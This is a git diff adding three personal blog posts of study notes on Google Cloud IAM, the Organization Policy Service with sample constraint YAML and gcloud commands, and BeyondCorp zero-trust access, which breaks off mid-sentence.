b/_posts/01Cloud/01GCP/identity/2021-01-01-Cloud-IAM.md @@ -0,0 +1,321 @@ +--- +title: GCP - Cloud IAM +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Identity] +tags: [GCP] +toc: true +image: +--- + +- [Cloud IAM Identity and Access Management](#cloud-iam-identity-and-access-management) + - [Overview IAM objects](#overview-iam-objects) + - [GCP resource hierarchy](#gcp-resource-hierarchy) + - [Organization](#organization) + - [Folder](#folder) + - [Project](#project) + - [IAM](#iam) + - [IAM principle](#iam-principle) + - [IAM Roles](#iam-roles) + - [IAM policy](#iam-policy) + - [member](#member) + - [Service account](#service-account) + - [Access](#access) + - [Cloud Identity](#cloud-identity) + - [sync Directory](#sync-directory) + - [SSO](#sso) + - [best practise](#best-practise) + +--- + + +# Cloud IAM Identity and Access Management + +![Screen Shot 2022-08-16 at 23.34.25](https://i.imgur.com/wsnQ2RB.png) + +--- + +## Overview IAM objects + +![Screen Shot 2021-06-28 at 10.33.19 PM](https://i.imgur.com/375p2Qs.png) + +![Screen Shot 2021-02-03 at 15.24.58](https://i.imgur.com/NRpqXEe.png) + +![Screen Shot 2021-02-03 at 15.25.25](https://i.imgur.com/t4zsqr4.png) + +--- + +### GCP resource hierarchy + +> Zones and regions physically organize the GCP resources +> Projects logically organize the GCP resources + +![Screen Shot 2021-02-10 at 21.50.46](https://i.imgur.com/Fo2Y7GB.png) + +The GCP resource hierarchy + +- helps you manage resources across multiple departments and multiple teams within the organization. +- define a hierarchy to create trust boundaries in resource isolation + +![Screenshot 2024-08-07 at 10.17.48](/assets/img/Screenshot%202024-08-07%20at%2010.17.48.png) + +functional structure of Google Cloud consists of four levels: `resources, projects, folders, and an organization node`. + +- `Resources` in Google Cloud represent virtual machines, Cloud Storage buckets, tables in BigQuery, or any other component in Google Cloud. + +- `Projects` are the second level in the resource hierarchy and are used to enable and manage Google Cloud services, such as APIs, billing, collaborators, and other Google services. + + - **Project names**: can be changed and do not have to be unique. + - **Project ID**: Each project has a unique project ID assigned by Google, which cannot be changed after creation. + - **Project number**: Google Cloud assigns a unique project number to each project, which is mainly used internally to track resources. + - ![Screenshot 2024-08-07 at 10.22.44](/assets/img/Screenshot%202024-08-07%20at%2010.22.44.png) + +- `Folders` allow for the assignment of policies and permissions to resources at a granular level. + - can contain projects or other folders, and resources within a folder inherit policies and permissions from that folder. + - useful for grouping resources based on departments or teams within an organization. + +- organization node + - encompasses all projects, folders, and resources. + - Special roles, such as `organization policy administrator` and `project creator`, can be assigned to the `organization node` to control access and permissions. + - The creation of a new organization node depends on whether the company is a Google Workspace customer or not. + - Folders and projects are considered "children" of the organization node. + +--- + +#### Organization + +- organization owns all the folders beneath it. + +- the **root node** of a GCP resource hierarchy. + +- having organization is required for you to use folders. + +- G Suite customer already it + +- **organization admin**: + - provide access to administer all resources belonging to his organization + - is useful for auditing. + +- **project creator**: + - allows a user to create projects within organization. + +![Screen Shot 2021-02-03 at 15.10.01](https://i.imgur.com/demzTIm.png) + +![Screen Shot 2021-06-28 at 10.42.28 PM](https://i.imgur.com/3fh1u8I.png) + +--- + +#### Folder + +![Screen Shot 2021-02-03 at 15.09.24](https://i.imgur.com/pHBr2vk.png) + +![Screen Shot 2021-06-28 at 10.43.25 PM](https://i.imgur.com/NrOQTHN.png) + +- Projects can belong to a folder, which is another grouping mechanism. +- use folders to reflect their hierarchy of the enterprise and apply policies at the right levels within the enterprise. +- can nest folders inside of folder + +--- + +#### Project + +- the base level organizing entity for + - creating and using resources and services, and managing billing APIs, and permissions. + +- The GCP resources must belong to a project. + +- Projects can be easily created, managed, deleted, or even recovered from accidental deletions. + +- labels are changeable, project ID and project number remain fixed. + - unique project ID and project number. + - can name the project and apply labels for filtering. + - ![Screen Shot 2021-02-03 at 15.08.50](https://i.imgur.com/vyjFXrm.png) + +--- + +## IAM + +IAM allows administrators to define `who can do what` and `on which resources` within an organization. + +IAM policies consist of a "who" (principal) and a "can do what" (role). + +![Screen Shot 2021-06-28 at 10.36.46 PM](https://i.imgur.com/4v2yzWh.png) + +![Screen Shot 2021-02-03 at 15.11.03](https://i.imgur.com/ucg52Zc.png) + +![Screen Shot 2021-06-28 at 10.44.10 PM](https://i.imgur.com/EQVhpPQ.png) + +--- + +### IAM principle + +- The "who" + - can be a Google account, a Google group, a service account, or a Cloud Identity domain. + - email address + +--- + +### IAM Roles + +- The "What" + - IAM roles are collections of permissions that are granted to principals. + - Roles can be basic, predefined, or custom. + +3 types of IAM roles + +![Screen Shot 2021-02-03 at 15.25.44](https://i.imgur.com/3pIlSRt.png) + +**Basic role** +- apply across all GCP services in a project +- affect all resources in a GCP project. +- Basic roles include owner, editor, viewer, and billing administrator. + +- ![Screen Shot 2021-02-03 at 15.26.00](https://i.imgur.com/zwmpguY.png) +- ![Screenshot 2024-08-07 at 10.33.24](/assets/img/Screenshot%202024-08-07%20at%2010.33.24.png) +- May too sensitive to apply + + +**Predefined role** + +- apply access to particular GCP services in a project +- specific to Google Cloud services and define where they can be applied. +- ![Screen Shot 2021-06-28 at 10.48.18 PM](https://i.imgur.com/Pnan7b6.png) + + - compute engine IAM roles: + - ![Screen Shot 2021-06-28 at 10.49.20 PM](https://i.imgur.com/sY13PsA.png) + - ![Screenshot 2024-08-07 at 10.34.40](/assets/img/Screenshot%202024-08-07%20at%2010.34.40.png) + + +**custom role** +- define a precise set of permissions +- custom roles can only be applied to either the project level or organization level . +- can’t be applied to the folder level . +- ![Screen Shot 2021-06-28 at 10.50.53 PM](https://i.imgur.com/ZyW4ye8.png) +- ![Screenshot 2024-08-07 at 10.35.05](/assets/img/Screenshot%202024-08-07%20at%2010.35.05.png) + + +--- + +#### IAM policy + +- IAM policies can include deny rules to restrict certain principals from using certain permissions. + +- Deny policies are checked before allow policies. + +--- + +## member + +![Screen Shot 2021-06-28 at 10.53.49 PM](https://i.imgur.com/cRKhnOk.png) + +- Google account, +- service account, +- Google Group, +- Cloud Identity or google wokrspace domain + +--- + +### Service account + +![Screenshot 2024-08-07 at 10.37.40](/assets/img/Screenshot%202024-08-07%20at%2010.37.40.png) + +![Screenshot 2024-08-07 at 10.38.35](/assets/img/Screenshot%202024-08-07%20at%2010.38.35.png) + +- a special type of Google account +- belongs to an application or a VM, instead of to an individual end user. +- to restrict the actions a resource (such as a VM) can perform +- to allow users to act with service account permissions +- Authentication between Google Cloud Platform services + +![Screen Shot 2021-02-03 at 15.28.19](https://i.imgur.com/V6W9P6y.png) + +![Screen Shot 2021-02-03 at 15.28.34](https://i.imgur.com/QfUz8Ig.png) + +![Screen Shot 2021-06-28 at 10.57.04 PM](https://i.imgur.com/nw3irlw.png) + +![Screen Shot 2021-06-28 at 10.57.21 PM](https://i.imgur.com/VWVZRg6.png) + +![Screen Shot 2021-06-28 at 10.58.11 PM](https://i.imgur.com/7adJ3tc.png) + + +scope + +![Screen Shot 2021-06-28 at 10.58.52 PM](https://i.imgur.com/KjEfjpT.png) + + +example + +![Screen Shot 2021-06-28 at 10.59.35 PM](https://i.imgur.com/tbYaSoa.png) + +![Screen Shot 2021-06-28 at 11.01.08 PM](https://i.imgur.com/PixXk5R.jpg) + + +authenticate with keys +- rotation: 2 weeks + +![Screen Shot 2021-06-28 at 11.01.35 PM](https://i.imgur.com/fSL9w7b.png) + + +--- + +## Access + +### Cloud Identity + +![Screenshot 2024-08-07 at 10.39.58](/assets/img/Screenshot%202024-08-07%20at%2010.39.58.png) + +![Screenshot 2024-08-07 at 10.41.10](/assets/img/Screenshot%202024-08-07%20at%2010.41.10.png) + +a solution for managing users and groups in Google Cloud. + +- Admins can log in and manage Google Cloud resources using the same usernames and passwords used in existing Active Directory or LDAP systems. + +- Cloud Identity offers a free edition and a premium edition with additional capabilities for managing mobile devices. + +- When someone leaves an organization, an administrator can use the Google Admin Console to disable their account and remove them from groups. + +- Google Workspace customers already have access to this functionality in the Google Admin Console. + + +### sync Directory + +![Screen Shot 2021-06-28 at 10.55.16 PM](https://i.imgur.com/kBbXvUX.png) + +### SSO + +![Screen Shot 2021-06-28 at 10.55.53 PM](https://i.imgur.com/F8dhLH0.png) + +--- + + +## best practise + + +![Screen Shot 2021-06-28 at 11.02.45 PM](https://i.imgur.com/ph3u8E8.png) + + +![Screen Shot 2021-06-28 at 11.03.02 PM](https://i.imgur.com/BBp9pQs.png) + + +![Screen Shot 2021-06-28 at 11.03.41 PM](https://i.imgur.com/qorNq07.png) + + +![Screen Shot 2021-06-28 at 11.04.15 PM](https://i.imgur.com/nXHXNcr.png) + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/identity/2021-01-01-OrganizationPolicyService.md b/_posts/01Cloud/01GCP/identity/2021-01-01-OrganizationPolicyService.md new file mode 100644 index 00000000000..ae39380ffa8 --- /dev/null +++ b/_posts/01Cloud/01GCP/identity/2021-01-01-OrganizationPolicyService.md @@ -0,0 +1,435 @@ +--- +title: GCP - Organization Policy Service +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Identity] +tags: [GCP] +toc: true +image: +--- + +- [Organization Policy Service](#organization-policy-service) + - [Benefits](#benefits) + - [Common use cases](#common-use-cases) + - [Differences from Identity and Access Management](#differences-from-identity-and-access-management) + - [Key Concepts](#key-concepts) + - [Organization policy](#organization-policy) + - [Constraints](#constraints) + - [boolean constraints](#boolean-constraints) + - [list constraints](#list-constraints) + - [Predefined Constraints](#predefined-constraints) + - [Constraints supported by multiple Google Cloud services](#constraints-supported-by-multiple-google-cloud-services) + - [Allowed Worker Pools (Cloud Build)](#allowed-worker-pools-cloud-build) + - [Disable Enabling Identity-Aware Proxy (IAP) on regional resources](#disable-enabling-identity-aware-proxy-iap-on-regional-resources) + - [Google Cloud Platform - Resource Location Restriction](#google-cloud-platform---resource-location-restriction) + - [Restrict allowed Google Cloud APIs and services](#restrict-allowed-google-cloud-apis-and-services) + - [Restrict Resource Service Usage](#restrict-resource-service-usage) + - [Restrict which projects may supply KMS CryptoKeys for CMEK](#restrict-which-projects-may-supply-kms-cryptokeys-for-cmek) + - [Restrict which services may create resources without CMEK](#restrict-which-services-may-create-resources-without-cmek) + - [Custom constraints](#custom-constraints) + - [Inheritance](#inheritance) + - [Violations](#violations) + - [command](#command) + +--- + +# Organization Policy Service + +- give centralized and programmatic control over the organization's cloud resources. + +- organization policy administrator can configure constraints across the entire resource hierarchy. + +--- + +## Benefits + +- Centralize control to configure restrictions on how the organization’s resources can be used. +- Define and establish guardrails for the development teams to stay within compliance boundaries. +- Help project owners and their teams move quickly without worry of breaking compliance. + +--- + +## Common use cases + +Organization policies are made up of constraints that allow you to: + +- Limit resource sharing based on domain. +- Limit the usage of Identity and Access Management service accounts. +- Restrict the physical location of newly created resources. +- There are many more constraints that give you fine-grained control of the organization's resources. For more information, see the [list of all Organization Policy Service constraints](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints). + +--- + +## Differences from Identity and Access Management + +Identity and Access Management +- focuses on who +- lets the administrator authorize who can take action on specific resources based on permissions. + +Organization Policy +- focuses on what +- lets the administrator `set restrictions on specific resources` to determine how they can be configured. + +--- + +## Key Concepts + +### Organization policy + +![Screenshot 2023-08-11 at 14.03.22](/assets/img/Screenshot%202023-08-11%20at%2014.03.22.png) + +- An organization policy is a configuration of restrictions. + +- organization policy administrator define an organization policy, and set that organization policy on organizations, folders, and projects in order to enforce the restrictions on that resource and its descendants. + +- to define an organization policy, choose a `constraint`, which is a particular type of restriction against either a Google Cloud service or a group of Google Cloud services. Configure that constraint with the desired restrictions. + +- Descendants of the targeted resource hierarchy node inherit the organization policy. By applying an organization policy to the root organization node, you are able to effectively drive enforcement of that organization policy and configuration of restrictions across the organization. + +### Constraints + +> https://cloud.google.com/resource-manager/docs/organization-policy/understanding-constraints + +- A constraint is a particular type of `restriction` against a Google Cloud service or a list of Google Cloud services. + +- Think of the constraint as `a blueprint that defines what behaviors are controlled`. + - This blueprint is then applied to a resource hierarchy node as an organization policy, which implements the rules defined in the constraint. + - The Google Cloud service mapped to that constraint and associated with that resource hierarchy node will then enforce the restrictions configured within the organization policy. + +- A constraint has a type, either list or boolean. + + - `List` constraints evaluate the constraint with a list of allowed or denied values, such as an allowlist of IP addresses that can connect to a virtual machine. + + - `Boolean` constraints are either enforced or not enforced for a given resource, and govern a specific behavior, such as whether external service accounts can be created. + + +- Each Google Cloud service evaluates constraint types and values to determine what should be restricted. + +```yaml + +# List +# Restrict configuration of external IPs to a list of instances + +resource: "organizations/ORGANIZATION_ID" +policy: { + constraint: "constraints/compute.vmExternalIpAccess" + listPolicy: { + allowedValues: [ + projects/PROJECT_NAME/zones/ZONE_ID/instances/INSTANCE_NAME, + projects/PROJECT_NAME/zones/ZONE_ID/instances/INSTANCE_NAME + ] + } +} + +# Boolean +# Disable service account creation + +resource: "organizations/ORGANIZATION_ID" +policy: { + constraint: "constraints/iam.disableServiceAccountCreation" + booleanPolicy: { + enforced: true + } +} +``` + + +#### boolean constraints + +Under Enforcement, select an enforcement option: + +- To enable enforcement of this constraint, select On. +- To disable enforcement of this constraint, select Off. + + +#### list constraints + +Under Policy enforcement, select an enforcement option: + +- To merge and evaluate the organization policies together, select Merge with parent. For more information about inheritance and the resource hierarchy, see Understanding Hierarchy Evaluation. +- To override the inherited policies completely, select Replace. + +Under Policy type, select whether this organization policy will specify `allowed_values` or `denied_values`: + +- To specify that the listed values will be the only allowed values, and all other values will be denied, select `Allow`. +- To specify that the listed values will be explicitly denied, and all other values will be allowed, select `Deny`. + +Under Policy values, select whether this organization policy will apply to all values or a list of specific values: + +- To apply the above policy type to every possible value, select `All`. +- To list explicit values, select Custom. In the Policy value text box that appears, enter a value and then press Enter. You can add multiple entries in this way. Click the New Policy Value button for each additional value. +- Specific values accepted by the policy depend on the service to which the policy applies. For a list of constraints and the values they accept, see Organization policy constraints. + +--- + +#### Predefined Constraints + +list: https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints + +--- + +##### Constraints supported by multiple Google Cloud services + +Constraints Description Supported Prefixes + +###### Allowed Worker Pools (Cloud Build) +- By default, Cloud Build can use any Worker Pool. +- This list constraint defines the `set of allowed Cloud Build Worker Pools` for performing Builds using Cloud Build. +- When this constraint is enforced, builds will be `required to build in a Worker Pool that matches one of the allowed values.` + - The allowed list of Worker Pools must be of the form: + - under:organizations/ORGANIZATION_ID + - under:folders/FOLDER_ID + - under:projects/PROJECT_ID + - projects/PROJECT_ID/locations/REGION/workerPools/WORKER_POOL_ID +- **Constraints**: `constraints/cloudbuild.allowedWorkerPools` +- **Supported Prefixes**: `"is:", "under:"` + + +###### Disable Enabling Identity-Aware Proxy (IAP) on regional resources +- By default, enabling IAP on regional resources is allowed. +- This boolean constraint, when enforced, disables turning on Identity-Aware Proxy on regional resources. Enabling IAP on global resources is not restricted by this constraint. +- **Constraints**: `constraints/iap.requireRegionalIapWebDisabled` +- **Supported Prefixes**: `"is:"` + + +###### Google Cloud Platform - Resource Location Restriction +- By default, resources can be created in any location. +- This list constraint `defines the set of locations where location-based Google Cloud resources can be created.` +- Policies for this constraint can specify multi-regions such as asia and europe, regions such as us-east1 or europe-west1 as allowed or denied locations. + - Allowing or denying a multi-region does not imply that all included sub-locations should also be allowed or denied. + - For example, if the policy denies the us multi-region (which refers to multi-region resources, like some storage services), resources can still be created in the regional location us-east1. On the other hand, the `in:us-locations` group contains all locations within the us region, and can be used to block every region. +- We recommend using value groups to define the policy. + - You can specify value groups, collections of locations that are curated by Google to provide a simple way to define the resource locations. + - To use value groups in the organization policy, prefix the entries with the string `in:`, followed by the value group. + - For example, to create resources that will only be physically located within the US, set `in:us-locations` in the list of allowed values. + - If the suggested_value field is used in a location policy, it should be a region. + - If the value specified is a region, a UI for a zonal resource may pre-populate any zone in that region. +- **Constraints**: `constraints/gcp.resourceLocations` +- **Supported Prefixes**: `"is:", "in:"` + +```yaml +constraint: constraints/gcp.resourceLocations +listPolicy: + deniedValues: + - in:us-east1-locations + - in:northamerica-northeast1-locations +``` + + +###### Restrict allowed Google Cloud APIs and services +- By default, all services are allowed. +- This list constraint `restricts the set of services and their APIs that can be enabled on this resource`. +- The denied list of services must come from the list below. +- Explicitly enabling APIs via this constraint is not currently supported. +- Specifying an API not in this list will result in an error. + - compute.googleapis.com + - deploymentmanager.googleapis.com + - dns.googleapis.com +- Enforcement of this constraint is not retroactive. If a service is already enabled on a resource when this constraint is enforced, it will remain enabled. +- **Constraints**: `constraints/serviceuser.services` +- **Supported Prefixes**: `"is:"` + + +###### Restrict Resource Service Usage +- By default, all Google Cloud resource services are allowed. +- This constraint defines `the set of Google Cloud resource services that can be used within an organization, folder, or project`, such as compute.googleapis.com and storage.googleapis.com. +- For more information, see https://cloud.google.com/resource-manager/help/organization-policy/restricting-resources. +- **Constraints**: `constraints/gcp.restrictServiceUsage` +- **Supported Prefixes**: `"is:"` + +- Administrators can use this constraint to define hierarchical restrictions on allowed Google Cloud resource services within a resource container, such as an organization, a folder, or a project. For example, + - allow storage.googleapis.com within project X, + - deny compute.googleapis.com within folder Y. + +- constraint can be used in two mutually exclusive ways: + - Denylist: resources of any service that isn't denied are allowed. + - Allowlist: resources of any service that isn't allowed are denied. + +```yaml +constraint: constraints/gcp.restrictServiceUsage + list_policy: + denied_values: + - file.googleapis.com + - bigquery.googleapis.com + - storage.googleapis.com +``` + + +###### Restrict which projects may supply KMS CryptoKeys for CMEK + +- This list constraint defines which projects may be used to supply Customer-Managed Encryption Keys (CMEK) when creating resources. +- Setting this constraint to Allow (i.e. only allow CMEK keys from these projects) `ensures that CMEK keys from other projects cannot be used to protect newly created resources`. +- Values for this constraint must be specified in the form of + - under:organizations/ORGANIZATION_ID, + - under:folders/FOLDER_ID, + - or projects/PROJECT_ID. + +- Supported services that enforce this constraint are: + - aiplatform.googleapis.com + - artifactregistry.googleapis.com + - bigquery.googleapis.com + - bigtable.googleapis.com + - cloudfunctions.googleapis.com + - composer.googleapis.com + - compute.googleapis.com + - container.googleapis.com + - dataflow.googleapis.com + - dataproc.googleapis.com + - documentai.googleapis.com + - logging.googleapis.com + - pubsub.googleapis.com + - run.googleapis.com + - secretmanager.googleapis.com + - spanner.googleapis.com + - sqladmin.googleapis.com + - storage.googleapis.com + +- Enforcement of this constraint may grow over time to include additional services. Use caution when applying this constraint to projects, folders, or organizations where a mix of supported and unsupported services are used. + +- Setting this constraint to `Deny or Deny All` is not permitted. + +- Enforcement of this constraint is not retroactive. Existing CMEK Google Cloud resources with KMS CryptoKeys from disallowed projects must be reconfigured or recreated manually to ensure enforcement. + +- **Constraints**: `constraints/gcp.restrictCmekCryptoKeyProjects` +- **Supported Prefixes**: `"is:", "under:"` + + +###### Restrict which services may create resources without CMEK + +- This list constraint defines which services require Customer-Managed Encryption Keys (CMEK). + +- Setting this constraint to `Deny (i.e. deny resource creation without CMEK), requires newly created resources in the specified services must be protected by a CMEK key`. + +- Supported services that can be set in this constraint are: + - aiplatform.googleapis.com + - artifactregistry.googleapis.com + - bigquery.googleapis.com + - bigtable.googleapis.com + - cloudfunctions.googleapis.com + - composer.googleapis.com + - compute.googleapis.com + - container.googleapis.com + - dataflow.googleapis.com + - dataproc.googleapis.com + - documentai.googleapis.com + - logging.googleapis.com + - pubsub.googleapis.com + - run.googleapis.com + - secretmanager.googleapis.com + - spanner.googleapis.com + - sqladmin.googleapis.com + - storage.googleapis.com + +- Setting this constraint to `Deny All` is not permitted. +- Setting this constraint to `Allow` is not permitted. + +- Enforcement of this constraint is not retroactive. Existing non-CMEK Google Cloud resources must be reconfigured or recreated manually to ensure enforcement. + + +- **Constraints**: `constraints/gcp.restrictNonCmekServices` +- **Supported Prefixes**: `"is:"` + + + + + +--- + +#### Custom constraints + +> https://cloud.google.com/resource-manager/docs/organization-policy/creating-managing-custom-constraints + +- Custom constraints can allow or restrict resource creation and updates in the same way that predefined constraints do, but `allow administrators to configure conditions` based on request parameters and other metadata. + +- You can create custom constraints that restrict operations on certain service resources, such as Dataproc NodePool resources. + +- list of service resources that support custom constraints: https://cloud.google.com/resource-manager/docs/organization-policy/custom-constraint-supported-services + +- Required roles + + - ask for Organization policy administrator (`roles/orgpolicy.policyAdmin`) IAM role on the organization. + + - This predefined role contains the permissions required to manage organization policies. + - orgpolicy.constraints.list + - orgpolicy.policies.create + - orgpolicy.policies.delete + - orgpolicy.policies.list + - orgpolicy.policies.update + - orgpolicy.policy.get + - orgpolicy.policy.set + +- A custom constraint is created in a YAML file which specifies the resources, methods, conditions, and actions that are subject to the constraint. These are specific to the service on which you're enforcing the organization policy. + +- The conditions for your custom constraint are defined using `Common Expression Language (CEL)`. + + +```yaml +name: organizations/ORGANIZATION_ID/customConstraints/CONSTRAINT_NAME +resourceTypes: +- RESOURCE_NAME +- container.googleapis.com/NodePool +methodTypes: +- METHOD1 +- METHOD2 +- a list of RESTful methods for which to enforce the constraint. +- Can be CREATE or CREATE and UPDATE +condition: ("resource.management.autoUpgrade == false") +actionType: (ALLOW or DENY) +displayName: DISPLAY_NAME +description: DESCRIPTION + +name: organizations/1234567890123/customConstraints/custom.disableGkeAutoUpgrade +resourceTypes: +- container.googleapis.com/NodePool +methodTypes: +- CREATE +- UPDATE +condition: "resource.management.autoUpgrade == false" +actionType: ALLOW +displayName: Disable GKE auto upgrade +description: Only allow GKE NodePool resource to be created or updated if AutoUpgrade is not enabled where this custom constraint is enforced. +``` + + + + + + +--- + +### Inheritance + +> https://cloud.google.com/resource-manager/docs/organization-policy/understanding-hierarchy + +- When an organization policy is set on a resource hierarchy node, all descendants of that node inherit the organization policy by default. If you set an organization policy at the root organization node, then the configuration of restrictions defined by that policy will be passed down through all descendant folders, projects, and service resources. + +- A user with the Organization Policy Administrator role can set descendant resource hierarchy nodes with another organization policy that either overwrites the inheritance, or merges them based on the rules of hierarchy evaluation. This provides precise control for how the organization policies apply throughout the organization, and where you want exceptions made. + +--- + +### Violations + +- A violation is when a Google Cloud service acts or is in a state that is counter to the organization policy restriction configuration within the scope of its resource hierarchy. Google Cloud services will enforce constraints to prevent violations, but the application of new organization policies is usually not retroactive. If an organization policy constraint is retroactively enforced, it will be labeled as such on the Organization Policy Constraints page. + +- If a new organization policy sets a restriction on an action or state that a service is already in, the policy is considered to be in violation, but the service will not stop its original behavior. You will need to address this violation manually. This prevents the risk of a new organization policy completely shutting down the business continuity. + +--- + +## command + +```bash +gcloud org-policies describe LIST_CONSTRAINT \ + --organization=ORGANIZATION_ID + +gcloud org-policies set-policy /tmp/policy.yaml + + + + +``` + + + + + + +. diff --git a/_posts/01Cloud/01GCP/identity/2021-01-04-BeyondCorp.md b/_posts/01Cloud/01GCP/identity/2021-01-04-BeyondCorp.md new file mode 100644 index 00000000000..62e15830305 --- /dev/null +++ b/_posts/01Cloud/01GCP/identity/2021-01-04-BeyondCorp.md @@ -0,0 +1,513 @@ +--- +title: GCP - IdenAccessManage - Zero-trust BeyondCorp +date: 2021-01-04 11:11:11 -0400 +categories: [01GCP, Identity] +tags: [GCP] +toc: true +image: +--- + +- [Zero-trust BeyondCorp](#zero-trust-beyondcorp) + - [basic](#basic) + - [BeyondCorp](#beyondcorp) + - [Guiding Principles of BeyondCorp](#guiding-principles-of-beyondcorp) + - [Benefits to users](#benefits-to-users) + - [use cases](#use-cases) + - [Common signals](#common-signals) + - [BeyondCorp Enterprise access protection overview](#beyondcorp-enterprise-access-protection-overview) + - [The Reference Architecture](#the-reference-architecture) + - [How BeyondCorp Enterprise works](#how-beyondcorp-enterprise-works) + - [quickstart](#quickstart) + - [step](#step) + - [Configure Chrome, create DLP rules, and set up alerts](#configure-chrome-create-dlp-rules-and-set-up-alerts) + - [View the audit log and security reports, and perform investigations](#view-the-audit-log-and-security-reports-and-perform-investigations) + - [BeyondCorp Threat and Data Protection URLs](#beyondcorp-threat-and-data-protection-urls) + - [Before you make the apps and resources context-aware, need to:](#before-you-make-the-apps-and-resources-context-aware-need-to) + - [Secure the apps and resources with IAP](#secure-the-apps-and-resources-with-iap) + - [Virtual machine resources](#virtual-machine-resources) + - [Creating an access level with Access Context Manager](#creating-an-access-level-with-access-context-manager) + - [Applying access levels](#applying-access-levels) + - [Enabling device trust and security with Endpoint Verification](#enabling-device-trust-and-security-with-endpoint-verification) + +--- + +# Zero-trust BeyondCorp + + +- ref: + - [BeyondCorp playlist](https://www.youtube.com/watch?v=e1Y7NDLSHfI&list=PLIivdWyY5sqLvoPf2pMI2uIz1FLSfphCh&index=2&ab_channel=GoogleCloudPlatform) + +--- + +## basic + +![Screen Shot 2021-02-15 at 12.18.08](https://i.imgur.com/bDMGWHr.png) + +Perimeter security +- good idea a while back +- hard shell on the outside, soft, gooey center inside. +- revolution needed + - co-worker, contractor access + +![Screen Shot 2021-02-15 at 12.18.34](https://i.imgur.com/MD4UZLX.png) + +change security posture +- phishing-resistant keys +- Endpoint device regularly health monitor +- context-aware access + - control access based on identity and device instead on location or network + - Rule Engine + +--- + + +## BeyondCorp + +![Screen Shot 2021-02-15 at 12.18.41](https://i.imgur.com/1AwfQVd.png) + +![BeyondCorp_Enterprise.max-2800x2800](https://i.imgur.com/6fvomCy.png) + +![unnamed](https://i.imgur.com/gIqkZz7.png) + +- A zero trust solution + - enables secure access with integrated threat and data protection. + - enables an organization's workforce to access web applications securely from anywhere, without the need for VPN and without fear of malware, phishing, and data loss. + - manage access for apps on Google Cloud, other clouds, and on-premises, + - define and enforce access policies based on user identity, device health, and other contextual factors + - and make apps more accessible and responsive through Google's global network. + +- Scalable, reliable foundation + - Rely on Google Cloud’s global infrastructure + - Built on the backbone of Google’s planet-scale network and infrastructure + - Benefit from the scale, reliability, and security of Google's network + - with 144 edge locations in over 200 countries and territories. + - provide a seamless and secure experience with integrated DDoS protection, low-latency connections, and elastic scaling. + +- Identity and context-aware access control + - Provide secure access to critical apps and services + - Easily configure policies based on user identity, device health, and other contextual factors to enforce granular access controls to applications, VMs, and Google APIs. + - Implement strong authentication and authorization policies to ensure users have access to the resources they need. + - Richer access controls protect access to secure systems (applications, virtual machines, APIs, and so on) by using the context of an end-user's request to ensure each request is authenticated, authorized, and as safe as possible. + + +- Safeguard the information with integrated threat and data protection + - Continuous end-to-end protection + - A layered approach to security across users, access, data, and applications + - Prevent data loss, malware infections, fraud and thwart threats with real-time alerts and detailed reports, + - such as + - exfiltration risks, copy and paste, extending DLP protections into the browser, + - malware and phishing + - Strong phishing-resistant authentication to ensure that users are who they say they are. + - all built into the Chrome Browser with no agents required. + - real-time alerts + - Continuous authorization for every interaction between a user and a BeyondCorp-protected resource. + - End-to-end security from user to app and app to app (including microsegmentation) inspired by the BeyondProd architecture. + - Automated public trust SSL certificate lifecycle management for internet-facing BeyondCorp endpoints powered by Google Trust Services. + +- Simplify the experience for admins and end-user with an agentless approach + - Easy adoption with our agentless approach + - non-disruptive overlay to the existing architecture, + - no need to install additional agents, agentless support delivered through the Chrome Browser, + - seamless, familiar, easy-to-use experience. + +- Open and extensible ecosystem + - Integrates posture information and signals from leading security vendors, for extra protection. + - Support the environment: cloud, on-premises, or hybrid + - Access SaaS apps, web apps, and cloud resources whether they are hosted on Google Cloud, on other clouds, or on-premises. + - Built on an expanding ecosystem of technology partners in BeyondCorp Alliance which democratizes zero trust and allows customers to leverage existing investments. + - Open at the endpoint to incorporate signals from partners + - such as Crowdstrike and Tanium + - customers can utilize this information when building access policies. + - Extensible at the app to integrate into best-in-class services from partners + - such as Citrix and VMware. + +--- + + +### Guiding Principles of BeyondCorp + +1. Perimeterless Design + - Connecting from a particular network must not determine which services you can access. + - Access to services must not be determined by the network from which you connect + + +2. Context-Aware + - Access to services is granted based on what we know about you and your device. + - Access to services is granted based on contextual factors from the user and their device + +3. Dynamic Access Controls + - All access to services must be authenticated, authorized and encrypted. + + + +--- + +### Benefits to users + +For administrators: +- Strengthen security posture to account for dynamic changes in a user's context. +- Shrink the access perimeter to only those resources that an end user should be accessing. +- Enforce device security postures for employees, contractors, partners, and customers for access + - no matter who manages the devices. +- Extend security standards with per-user session management and multifactor authentication. + +For end users: +- Allow all end users to be productive everywhere without compromising security. +- Allow the right level of access to work applications based on their context. +- Unlock access to personally-owned devices based on granular access policies. +- Access internal applications without being throttled by segmented networks. + +--- + +### use cases + +When to use +- when you want to establish fine-grained access control based on a wide range of attributes and conditions including what device is being used and from what IP address. +- Making your corporate resources context-aware improves your security posture. +- manage access for apps on Google Cloud, other clouds, and on-premises, +- define and enforce access policies based on user, device, and other contextual factors, +- and make apps more accessible and responsive through Google's global network. +- can also apply BeyondCorp Enterprise to Google Workspace apps. + + +Common use cases +- As end users work outside of the office more often and from many different types of devices, enterprises have common security models they are looking to extend to all users, devices, and applications + +- Allow non-employees + - to access a web application deployed on Google Cloud or other cloud services platforms without requiring VPN. + - to access data from their personal or mobile devices as long as they meet a minimum security posture. + +- Ensure employees are prevented from copying and pasting sensitive data + - into email + - or saving data into personal storage such as Google Drive. + - Provide DLP protections for corporate data. + +- Only allow enterprise-managed devices to access certain key systems. + +- Gate access based on a user's location. + +- Protect applications in hybrid deployments that use a mix of Google Cloud, other cloud services platforms, or on-premises resources. + + + +--- + +### Common signals + +BeyondCorp Enterprise offers common signals enterprises can take into account when making a policy decision, including: + +- User or group information +- Location (IP or geographic region) +- Device + - Enterprise-managed devices + - Personally-owned devices + - Mobile devices +- Third-party device signals from partners in the BeyondCorp Alliance: + - Check Point + - CrowdStrike + - Lookout + - Tanium + - VMware +- Risk scores + + +--- + + +### BeyondCorp Enterprise access protection overview + +BeyondCorp Enterprise +- Based on the BeyondCorp security model +- an approach that utilizes a variety of Google Cloud offerings +- to enforce granular access control based on a user's identity and context of the request + +Example +- depending on the policy configuration, your sensitive app/resource can: + - Grant access to all employees if they're using a trusted corporate device from your corporate network + - Grant access to employees in the Remote Access group if they're 